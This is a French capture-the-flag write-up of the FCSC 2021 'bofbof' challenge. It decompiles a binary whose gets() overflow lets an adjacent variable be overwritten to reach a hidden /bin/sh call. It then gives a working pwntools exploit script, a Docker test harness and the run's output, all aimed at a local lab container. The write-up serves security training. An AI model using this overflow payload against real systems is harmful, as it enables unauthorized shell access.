Le fichier bofbof
mis à disposition dans l’énoncé est un exécutable x86-64 not stripped ce qui va nous permettre de l’analyser avec un outil tel que Ghidra.
$ file bofbof
bofbof: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4449145718cb2fc63346e764a356d85a566a1c25, for GNU/Linux 3.2.0, not stripped
L’analyse dans Ghidra nous montre la présence d’une porte dérobée dans cet exécutable:
undefined8 main(void) {
char local_38 [40];
long local_10;
local_10 = 0x4141414141414141;
printf("Comment est votre blanquette ?\n>>> ");
fflush(stdout);
gets(local_38);
if (local_10 != 0x4141414141414141) {
if (local_10 == 0x1122334455667788) {
vuln();
}
puts("Almost there!");
}
return 0;
}
void vuln(void) {
system("/bin/sh");
exit(1); // WARNING: Subroutine does not return
}
Les variables local_38
et local_10
sont stockées de manière contigue en mémoire, une chaîne de caractère est lue par gets(local_38)
sans aucun contrôle ni limitation, si la longueur lue est supérieure à 39 ( gets
ajoute un \0
en supprimant le /n
) alors on va écraser la valeur de local_10
.
Nous voyons qu’une porte dérobée a été codée, si nous arrivons à modifier de local_10
pour lui donner la valeur 0x1122334455667788
alors nous déclencherons l’appel à la fonction vuln()
qui nous ouvre un shell. De façon fort sympathique si nous arrivons à modifier local_10
sans toutefois réussir à lui donner la bonne valeur alors nous aurons le message “Almost there!” pour nous dire que nous sommes sur la bonne voie.
Nous pouvons envoyer par exemple les données suivantes en réponse à l’invite “Comment est votre blanquette ?”
EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('88 77 66 55 44 33 22 11') + b'\n'
Notes :
-
La première ligne contient 40 caractères pour remplir
local_38
et permettre de venir écraserlocal_10
, son contenu est quelconque, elle ne doit ni contenir\n
ni\0
-
Les processeurs x86_64sont de type little-endian, ainsi la valeur
0x1122334455667788
est représentée en mémoire par la succession d’octets88 77 66 55 44 33 22 11
-
La taille de
local_38
n’est pas choisie au hasard, elle est multiple de 8 pour conserver l’alignement delocal_10
sur un mot de 64 bits -
La fonction
gets()
va virer le\n
et ajouter un\0
qui est le terminteur des chaines en langage C, et donc une zone de mémoire non désirée va être modifiée, ceci peut éventuellement provoquer un arrêt du programme pour une violation de mémoireSignal 11 (SIGSEGV)
Ceci nous donne le programme suivant pour exploiter la porte dérobée trouvée dans le programme:
#!/usr/bin/python3
from pwn import *
from time import sleep
EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('8877665544332211') + b'\n'
conn = remote('localhost',4000)
print(conn.recvuntil(b'>>> '))
conn.send(EXPLOIT)
sleep(1)
conn.send(b'/bin/cat flag.txt\n')
print(conn.recv())
conn.close()
Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc
pour attendre le temps nécessaire pour laisser au container le temps de démarrer:
#!/bin/bash
set -e
if [ ! -f docker-compose.yml ]; then
wget https://hackropole.fr/challenges/fcsc2021-pwn-bofbof/docker-compose.public.yml -O docker-compose.yml
fi
docker-compose up -d
while ! nc -z localhost 4000; do sleep 1; done
python3 008_Bofbof.py
docker-compose down
Le résultat est le suivant :
Creating network "008_bofbof_default" with the default driver
Creating 008_bofbof_bofbof_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'Comment est votre blanquette ?\n>>> '
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 008_bofbof_bofbof_1 ... done
Removing 008_bofbof_bofbof_1 ... done
Removing network 008_bofbof_default